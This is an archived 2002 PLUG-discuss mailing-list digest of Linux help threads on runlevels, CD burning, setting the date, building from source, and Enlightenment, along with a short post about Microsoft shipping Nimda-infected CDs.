Thursday 13 June 2002 10:59, you wrote: > > I have a couple of students using Mandrake on laptops > > who reported to me that df -B MB is a valid option for > > df on their system. They even supply output showing > > what it does. > > > > I've never heard of such an option in any version of > > Unix I've ever used. Mandrake is based on Red Hat, > > which uses the GNU tools for all the most standard > > utilities, right? > > > > Does anyone know anything about this? I'd love to see a > > df(1) man page off a Mandrake system. > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQjmASsk3ywszI1FEQKTegCgyXj0F6+6Bc29dx+aH1bDhvlxNAgAoLT+ > MxUCeon0WFV3/XhcIozPbBZI > =mVT7 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 06:40:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 13 Jun 2002 23:40:01 -0700 Subject: stupid boot question Message-ID: <3D098FC1.219639AA@leml.asu.edu> Got an old box that I installed a new version of RH on... The monitor def is off and I need to: 1) force it to boot ascii, and 2) where does one turn on/*off* the graphical login? thanks, EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 07:18:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 14 Jun 2002 00:18:13 -0700 Subject: stupid boot question In-Reply-To: <3D098FC1.219639AA@leml.asu.edu> References: <3D098FC1.219639AA@leml.asu.edu> Message-ID: <1024039093.28780.2.camel@barney.azapple.com> On Thu, 2002-06-13 at 23:40, John (EBo) David wrote: > > Got an old box that I installed a new version of RH on... The monitor > def is off and I need to: > > 1) force it to boot ascii, and > 2) where does one turn on/*off* the graphical login? > ---- edit one of the lines in grub before booting - or control-X in lilo and tell it 'linux 3' or boot as normal - press Control-Alt-2 to get a text console login - tell it runlevel 3. change /etc/inittab to be run level 3 as default if desired Craig From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 12:13:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Fri, 14 Jun 2002 05:13:33 -0700 (MST) Subject: stupid boot question In-Reply-To: <3D098FC1.219639AA@leml.asu.edu> Message-ID: To permanently change the run level: /etc/inittab # Default runlevel. The runlevels used by RHS are: # 0 - halt (Do NOT set initdefault to this) # 1 - Single user mode # 2 - Multiuser, without NFS (The same as 3, if you do not have networking) # 3 - Full multiuser mode # 4 - unused # 5 - X11 # 6 - reboot (Do NOT set initdefault to this) # id:5:initdefault: -- change id:5:initdefault: -- to be: id:3:initdefault: (don't mess with the other entries in this file, you'll be sorry if you do!) "or boot as normal - press Control-Alt-2 to get a text console login - tell it runlevel 3." --- as the root user, run this command: init 3 You'll see several of the same startup commands run as you would see during a normal boot, when finished, the display will be at the text login. If the X configuration is so far off that after boot you can't make out what is on the screen, no sweat. Just wait long enough that you are sure it's completely booted, press and hold the Control and the Alt keys, while holding these, press the F1 key... you'll get a text login screen. -------------------------------------------- On Thu, 13 Jun 2002, John (EBo) David wrote: Got an old box that I installed a new version of RH on... The monitor def is off and I need to: 1) force it to boot ascii, and 2) where does one turn on/*off* the graphical login? thanks, EBo -- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 13:19:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 14 Jun 2002 09:19:55 -0400 Subject: Building seyon. Where xmkmf? Message-ID: Wouldn't you know it, the two computers I looked on to find the file, don't have any of the development packages installed. And I am the one that configured the systems without development stuff (face red). Thanks all. Alan On Thu, 13 Jun 2002 16:36:39 -0700 Kevin Buettner wrote: On Jun 13, 7:12pm, wrote: > OK, I want to try the X windows based serial > port terminal program seyon. I downloaded the > source. The docs say to "run xmkmf" to begin > the build process. > > I don't have this xmkmf on my Red Hat 7.2 or 7.3 > system. I find references to it all over the > net but no place where I can download it. > > A) Does anyone know where I can download this > makefile generator utility? xmkmf is in /usr/X11R6/bin/xmkmf If you don't have it on your Red Hat 7.3 system, install the XFree86-devel-4.2.0-8 RPM from CD. Kevin ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 20:55:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 13 Jun 2002 16:55:59 -0400 (EDT) Subject: install fest suggestion In-Reply-To: Message-ID: This one was just published on Linux Newbie. First glance looks pretty good, and nicely formatted for print right from Mozilla. Maybe could contact the author about doing reprints for the install fest. http://linux.org.mt/article/terminal On Thu, 13 Jun 2002, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Something I wish I had when I was beginning (and still do for that > matter) is a quick-reference of shell commands. Granted, this isn't > something the "average computer user" might want, but I think an > "average Linux user" would find this very helpful. This could even be > something printable from the website. I think it should contain the > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > etc..., I'm sure there are some I'm leaving out in my own > inexperience), a list of customizable files (bash prompts & profiles, > fstab, etc) and possibly (no religious wars here) a quick startup > guide to a text-editor. I personally just figured out how to save and > exit vi, and don't ask me to quit without saving. This may be over > the head of some users as I an a Linux newbie, but not technically > inexperienced. > > Anywhoo, it's something I wish I had. > > > "I've had a wonderful time, but this wasn't it." > -- Groucho Marx > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com > > - -----Original Message----- > From: plug-discuss-admin@lists.PLUG.phoenix.az.us > [mailto:plug-discuss-admin@lists.PLUG.phoenix.az.us]On Behalf Of > Robert > A. Klahn > Sent: Thursday, June 13, 2002 11:54 AM > To: plug-discuss@lists.PLUG.phoenix.az.us > Subject: Re: install fest suggestion > > > I dont know if kernel compiling is a skill that every Linux user > needs > to know. An enormous amount can be done with most distributions > before > the point where one needs to know how is reached. > > Bash skills, however, are probably basic. It might be possible to get > by without, but I would not want to try. > > That being said, I think the suggestion, for both Bash and Kernel > Compiling, is a good one, given sufficient intrest. > > Bob. > > On Thu, 13 Jun 2002 12:30:28 -0700, > plug-discuss-request@lists.plug.phoenix.az.us said: > > > Message: 1 > > Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) > > From: Alpha Zenon Sanchez > > Subject: install fest suggestion > > To: plug-discuss@lists.plug.phoenix.az.us > > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > > Hello Linux Users - > > > > I was wondering if anyone cared to give demonstrations > > on the proper way of compiling a Linux Kernel during > > the installfest (I'm looking forward to it btw). I'm > > starting get a 'feel' for Linux, and I've read > > HOW_TO's > > and various articles on compiling, but they're all > > different. I've downloaded articles from ZDNET and > > techrepublic as well. These articles say different > > things which would confuse a Linux beginner. > > > > My thinking is that some people that will show up at > > the intallfest are Linux 'newbies' and would jump at > > a chance to watch Linux users who have been doing this > > a while demonstrate some Linux skills. > > > > Besides Kernal compiling and basic bash commands, what > > else should a Linux user know? > > > > Thanks in advance > > > > -Alpha > > > > ===== > > Thanks, > > Alpha Zenon Sanchez > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > > > - ----------------------------------------------------------- > Robert A. Klahn > robert@kint.org > AIM: rklahn > > "Hope has two beautiful daughters: Anger and Courage. Anger > at the way things are, and Courage to struggle to create > things as they should be." -- St. Augustine > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBPQkKggGGayDd50X1EQJG8wCg0DFZzz7UCJ/vZ1coqLl0wLzj9MYAnjpe > 5Vpx6BbsuwpAkB260jqD2rtE > =1uRs > -----END PGP SIGNATURE----- > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:27:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 14 Jun 2002 08:27:19 -0700 Subject: mp3 Message-ID: <1024068440.29657.68.camel@hawk> Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast seems to only want to burn .wav formats (I may be missing a setting). And cdrecord is giving me an error. I want to start playing with my DVD / mp3 player. Only I don't have any disc actually burned with mp3s. So any help here? Carl P. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:24:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 14 Jun 2002 08:24:59 -0700 Subject: Date??? Message-ID: <1024068299.29445.63.camel@hawk> Okay how does one change the time on your system from the command line? I've been using rdate for this only now I can't so I thought I'd just use date and I can't get it to work. Should I be using something else? Carl P. (P.S is my charter set coming though alright on this one?). From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:44:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 14 Jun 2002 08:44:20 -0700 Subject: Date??? In-Reply-To: <1024068299.29445.63.camel@hawk> Message-ID: <200206141545.LAA31570@hostinworld6.com> Date does have the -s option for setting the time but I've never used it. Check the man page. Date, in DOS, would set the date and time for you automatically. Also, I never had any problems with your character set. I'm using Evolution 0.9. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 14 Jun 2002 08:24:59 -0700, Carl Parrish wrote: > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 14:46:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 14 Jun 2002 10:46:09 -0400 (EDT) Subject: mp3 In-Reply-To: Message-ID: Correction: [mp3]$ cd preburn [preburn]$ mkisofs -l `find * -follow -name \*mp3` | cdrecord -v dev=0,0,0 speed=32 - This makes the top level dir of the CD the artists or albums you have symlinked. On Fri, 14 Jun 2002, Robert Bushman wrote: > [mp3]$ mkisofs -l `find preburn/* -follow -name \*mp3` | cdrecord -v > dev=0,0,0 speed=32 - > > (all on one command line) > > Preburn is a director full of symlinks to > the albums I want on this CD. "-follow" > makes find follow those links. > > On 14 Jun 2002, Carl Parrish wrote: > > > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > > seems to only want to burn .wav formats (I may be missing a setting). > > And cdrecord is giving me an error. I want to start playing with my DVD > > / mp3 player. Only I don't have any disc actually burned with mp3s. So > > any help here? > > > > Carl P. > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ------------------------------------------------------------------- > "What can Americans do to stay safe after these attacks?" > "Buckle your seat-belt and quit smoking." > ------------------------------------------------------------------- > > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 14:44:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 14 Jun 2002 10:44:05 -0400 (EDT) Subject: mp3 In-Reply-To: <1024068440.29657.68.camel@hawk> Message-ID: [mp3]$ mkisofs -l `find preburn/* -follow -name \*mp3` | cdrecord -v dev=0,0,0 speed=32 - (all on one command line) Preburn is a director full of symlinks to the albums I want on this CD. "-follow" makes find follow those links. On 14 Jun 2002, Carl Parrish wrote: > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > seems to only want to burn .wav formats (I may be missing a setting). > And cdrecord is giving me an error. I want to start playing with my DVD > / mp3 player. Only I don't have any disc actually burned with mp3s. So > any help here? > > Carl P. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:51:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Julian Catchen) Date: Fri, 14 Jun 2002 11:51:04 -0400 Subject: mp3 Message-ID: <200206141551.LAA22238@rizzo.webservepro.com> If you use Gnome, than Gnome Toaster (gtoaster) is a great app that burns data and music CDs. It is basically a frontend for burning with cdrecord, cdrdao, etc. It allows you to drag and drop the contents of your CD before burning and to create mixed CDs (music and data). -----Original Message----- Date: 14 Jun 2002 08:27:19 -0700 To: Plug-discuss From: Carl Parrish Sender: plug-discuss-admin@lists.plug.phoenix.az.us Subject: mp3 Cc: Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast seems to only want to burn .wav formats (I may be missing a setting). And cdrecord is giving me an error. I want to start playing with my DVD / mp3 player. Only I don't have any disc actually burned with mp3s. So any help here? Carl P. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:45:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 14 Jun 2002 08:45:28 -0700 Subject: mp3 In-Reply-To: <1024068440.29657.68.camel@hawk> Message-ID: <200206141546.LAA00502@hostinworld6.com> An MP3CD is (as it took me two years to figure out) a data cd w/mp3 files on it (as data, not audio) and a m3u playlist with those files in it. Good luck. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 14 Jun 2002 08:27:19 -0700, Carl Parrish wrote: > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > seems to only want to burn .wav formats (I may be missing a setting). > And cdrecord is giving me an error. I want to start playing with my DVD > / mp3 player. Only I don't have any disc actually burned with mp3s. So > any help here? > > Carl P. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:49:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 14 Jun 2002 08:49:30 -0700 Subject: Enlightenment Message-ID: <200206141549.LAA00706@hostinworld6.com> Alright, I'm sort of a newbie at X Windows stuff but I know Enlightenment is a window manager, just as KDE etc, but how do do I get icons on my desktop. It's getting tiring having to go through 3 levels of menu by middle mouse button. Anyone? -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 16:02:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Fri, 14 Jun 2002 09:02:26 -0700 Subject: Date??? Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B740@azmscorp01.corp.azms> date 06140859 and date --help may help with the syntax. date mmddhhmm Larry -----Original Message----- From: Bryce "C. [mailto:plug@bryceco.net] Sent: Friday, June 14, 2002 8:44 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Date??? Date does have the -s option for setting the time but I've never used it. Check the man page. Date, in DOS, would set the date and time for you automatically. Also, I never had any problems with your character set. I'm using Evolution 0.9. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 14 Jun 2002 08:24:59 -0700, Carl Parrish wrote: > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 16:17:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeffrey Pyne) Date: Fri, 14 Jun 2002 09:17:13 -0700 Subject: Date??? Message-ID: Ahhhhh, much better. :) (I was seeing the same thing as Tom A. when reading your messages with LookOut 2000.) ~Jeff On Friday, June 14, 2002 8:25 AM, Carl Parrish sent: > (P.S is my charter set coming though alright on this one?). From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 16:30:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 14 Jun 2002 09:30:24 -0700 Subject: Enlightenment In-Reply-To: <200206141549.LAA00706@hostinworld6.com> References: <200206141549.LAA00706@hostinworld6.com> Message-ID: <200206140930.24844.zen2now@qwest.net> i have never run enlightenment with desktop icons because i perfer a clean desktop when in X, so i couldnt tell you how to add them. but if you are running a gnome panel in enlightenment you can add shortcuts to the panel for most used apps. or you can add them to the User Application List within the root menu. to do this open up: vi ~username/.enlightenment/user_apps.menu any app you use most often can be added, and the syntax is pretty self explanitory. also you can use any editor, vi was just an example. hope this helps. slr On Friday 14 June 2002 08:49 am, Bryce C. wrote: > Alright, I'm sort of a newbie at X Windows stuff but I know > Enlightenment is a window manager, just as KDE etc, but how do do I get > icons on my desktop. It's getting tiring having to go through 3 levels > of menu by middle mouse button. Anyone? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 16:38:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 09:38:33 -0700 Subject: Date??? Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4AE@mail.int.fh.org> Came through great for me this time!!! -----Original Message----- From: Carl Parrish [mailto:cparrish@cox.net] Sent: Friday, June 14, 2002 8:25 AM To: Plug-discuss Subject: Date??? Okay how does one change the time on your system from the command line? I've been using rdate for this only now I can't so I thought I'd just use date and I can't get it to work. Should I be using something else? Carl P. (P.S is my charter set coming though alright on this one?). ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 17:13:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 10:13:57 -0700 (PDT) Subject: gzipped tar files and building from source In-Reply-To: <3D097779.3000809@earthlink.net> Message-ID: Ben Chaco approached me last night at the PLUG meeting with a question about installing a program from source code. I figured that there are other people on this list that may benefit from this explanation as well, so here's a very basic intro: somefile.tar <-- this is a "tar" file which is basically just a bunch of files packed into one. somefile.tar.gz <-- this is a "gzipped" tar file which is a tar file that has been compressed using the gzip program (tar also has the ability to compress and uncompress files). So usually when you get a file like this, it's source code, which means you'll have to compile the program yourself before you can use it. Compiling programs usually "just works" on Linux, but last night we ran into a problem with a missing library, so the program didn't compile comletely. OK, so here are the most common tar commands for dealing with the above file types: tar zxf somefile.tar.gz <-- the "z" option tells tar to uncompress it since we're also using it with the "x" option which tells it to extract the contents of the tar file, and then should create a directory containing all of the files that were originally packed together. If you want to see a display of the files as they're untarred, you can add the "v" option. The "f" option must be the last option because the name following the "f" specifies the file name to use. If the file is just called somefile.tar, then it's most likely not gzipped so you can leave off the "z" option. Now, let's say you want to create your own tarred and gzipped file to send to someone or for backup purposes. Just substitute a "c" (for compress) in place of the "x" (for extract), like this: tar zcf mystuff.tar.gz mystuff <-- you specify the name of the archive as "mystuff.tar.gz" then you tell it which directory to use. In this case, we're using "mystuff". There are many other options to tar and ways of using it, but these will help you get started. Alright, so now that you've unpacked your source code, you're ready to configure and build your program. In most cases, you can simply type the following commands: ./configure <-- runs a configure script that prepares for the build make <-- compiles the program make install <-- This step copies the newly compiled binaries to a default location on your system (assuming you didn't specify a different install directory with the configure script) At this point if everything compiled successfully, then you should be able to type the name of the program to run it. Alternatively, you may want to browse to the location of the program and drag the icon to your desktop or toolbar for future use (this, of course, depends on the Windowing environment you use). What I usually do is create a directory called "local" in my home directory, then I tell the configure script to install there instead of the default (usually /usr/local/). Here's how you'd do that: ./configure --prefix=$HOME/local So now when you run make install, you don't have to be root. The entire program is installed under the local directory in your home directory. Also, be sure that $HOME/local/bin (and possibly $HOME/local/sbin) is in your PATH. ~M From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 17:23:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 10:23:31 -0700 (PDT) Subject: Date??? In-Reply-To: <1024068299.29445.63.camel@hawk> Message-ID: Here's an example of setting your date/time: Today's date is 06/14 and it's 10:20AM, so I'd type: date 06141020 Use the 2 digit day, followed by the 2 digit month, followed by the 2 digit hour followed by the 2 digit minute. ~M On 14 Jun 2002, Carl Parrish wrote: > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 17:24:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 10:24:52 -0700 (PDT) Subject: Date??? In-Reply-To: Message-ID: Oops. My explanation for the day and month was backwards. It's the 2 digit month first, then the 2 digit day. On Fri, 14 Jun 2002, Matt Alexander wrote: > Here's an example of setting your date/time: > > Today's date is 06/14 and it's 10:20AM, so I'd type: > > date 06141020 > > Use the 2 digit day, followed by the 2 digit month, followed by the 2 > digit hour followed by the 2 digit minute. > ~M > > > On 14 Jun 2002, Carl Parrish wrote: > > > Okay how does one change the time on your system from the command line? > > I've been using rdate for this only now I can't so I thought I'd just > > use date and I can't get it to work. Should I be using something else? > > > > Carl P. > > (P.S is my charter set coming though alright on this one?). > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 17:29:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 10:29:47 -0700 (PDT) Subject: Enlightenment In-Reply-To: <200206141549.LAA00706@hostinworld6.com> Message-ID: Google is your friend. Here's a site that has an explanation: http://www.venus.dti.ne.jp/~khosoda/Enlightenment.html On 14 Jun 2002, Bryce C. wrote: > Alright, I'm sort of a newbie at X Windows stuff but I know > Enlightenment is a window manager, just as KDE etc, but how do do I get > icons on my desktop. It's getting tiring having to go through 3 levels > of menu by middle mouse button. Anyone? > > > -- > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 18:05:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Fri, 14 Jun 2002 11:05:30 -0700 Subject: Building seyon. Where xmkmf? In-Reply-To: <200206131634.36948.voltage_spike@fastmail.fm> References: <3D092969.E0D26CCC@asu.edu> <200206131634.36948.voltage_spike@fastmail.fm> Message-ID: <200206141105.30110.arkane_@yahoo.com> On Thursday 13 June 2002 04:34 pm, Logan Kennelly wrote: > To add a little information, it is part of the XFree86-devel package. (New > user hint (for rpm-based systems): 'rpm -qf /usr/X11R6/bin/xmkmf') > > > Also, I sould just stick with minicom. Seyon isn't that great. Well, > > its always annoyed me. > > I would have to agree with this. I found minicom to be quite excellent, > while seyon was only good. However, note that with minicom you might have > to configure both minicom and/or your terminal for things like backspaces, > while seyon is on its own. The thing I love about minicom is the fact that it is straight text access, no frills. If anything wierd happens on the cable or whatever your connected to, you see it :) Versus having things emulated into an X environment. My 2 cents. -- Dan From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 18:44:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 11:44:21 -0700 Subject: Names of last nights presenters? Message-ID: <3D0A3985.48AE4F3@qwest.net> Does anyone have the names of the two guys from Intel that gave the presentation last night? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:02:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 14 Jun 2002 12:02:35 -0700 Subject: Let the facts speak for themselves Message-ID: <1024081355.3d0a3dcbf31cf@webmail.freedom2surf.net> May 31, 2002 A Microsoft funded white paper titled "Opening the Open Source Debate" published by AdTI makes this statement: "Another security concern is that the primary distribution channel for GPL open source is the Internet. As opposed to proprietary vendors, open source is freely downloaded. However, software in the public domain could contain a critical problem, a backdoor or worse, a dangerous virus." June 14, 2002 News.com breaks the story that Microsoft distributed Nimda-infected CDs of Visual Studio .Net in Korea. And M$ wonders why no one takes "Trustworthy Computing" seriously. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:13:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Blake Barnett) Date: 14 Jun 2002 12:13:24 -0700 Subject: Enlightenment In-Reply-To: <200206141549.LAA00706@hostinworld6.com> References: <200206141549.LAA00706@hostinworld6.com> Message-ID: <1024082005.23169.21.camel@shiva.soulmachine.com> Enlightenment should not be compared to KDE or Gnome yet, a more apt comparison is to that of sawfish, or windowmaker. Enlightenment is a WINDOWmanager as of 0.16.5, this means that all it does is manage windows, for example, it puts the handles the title-bar for windows, iconboxes, pagers, etc. It does not manage the desktop (it has no integrated file manager). As of 0.17 (a complete rewrite by the way..) it will include a file manager called "Essence" it will basically be a complete desktop management solution. Just as KDE and Gnome currently are. If you want icons on your desktop you have to go through the config files manually and add a custom graphic and associate actions with that graphic, etc. If you are set on using enlightenment before 0.17 is released then I would use it within Gnome (put gnome-session in your .xinitrc) and also use something like Nautilus for file management to have icons on your desktop, easy launchers, etc. Here is a screenshot of my desktop, I do this currently (minus nautilus as the current stable release is kind of a CPU hog): http://soulmachine.com/desktop-ss.jpg On Fri, 2002-06-14 at 08:49, Bryce C. wrote: > Alright, I'm sort of a newbie at X Windows stuff but I know > Enlightenment is a window manager, just as KDE etc, but how do do I get > icons on my desktop. It's getting tiring having to go through 3 levels > of menu by middle mouse button. Anyone? > > > -- > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Blake Barnett (bdb) Sr. Unix Administrator DevelopOnline.com office: 480-377-6816 Learning is a skill, you get better at it with practice. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:18:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 12:18:07 -0700 Subject: Let the facts speak for themselves Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4BA@mail.int.fh.org> And of course, that is the group that I sent the message out a few days ago that MS is funding so naturally the are completely unbiased... -----Original Message----- From: dennisk@sahuaro.f2s.com [mailto:dennisk@sahuaro.f2s.com] Sent: Friday, June 14, 2002 12:03 PM To: PLUG Mailing List 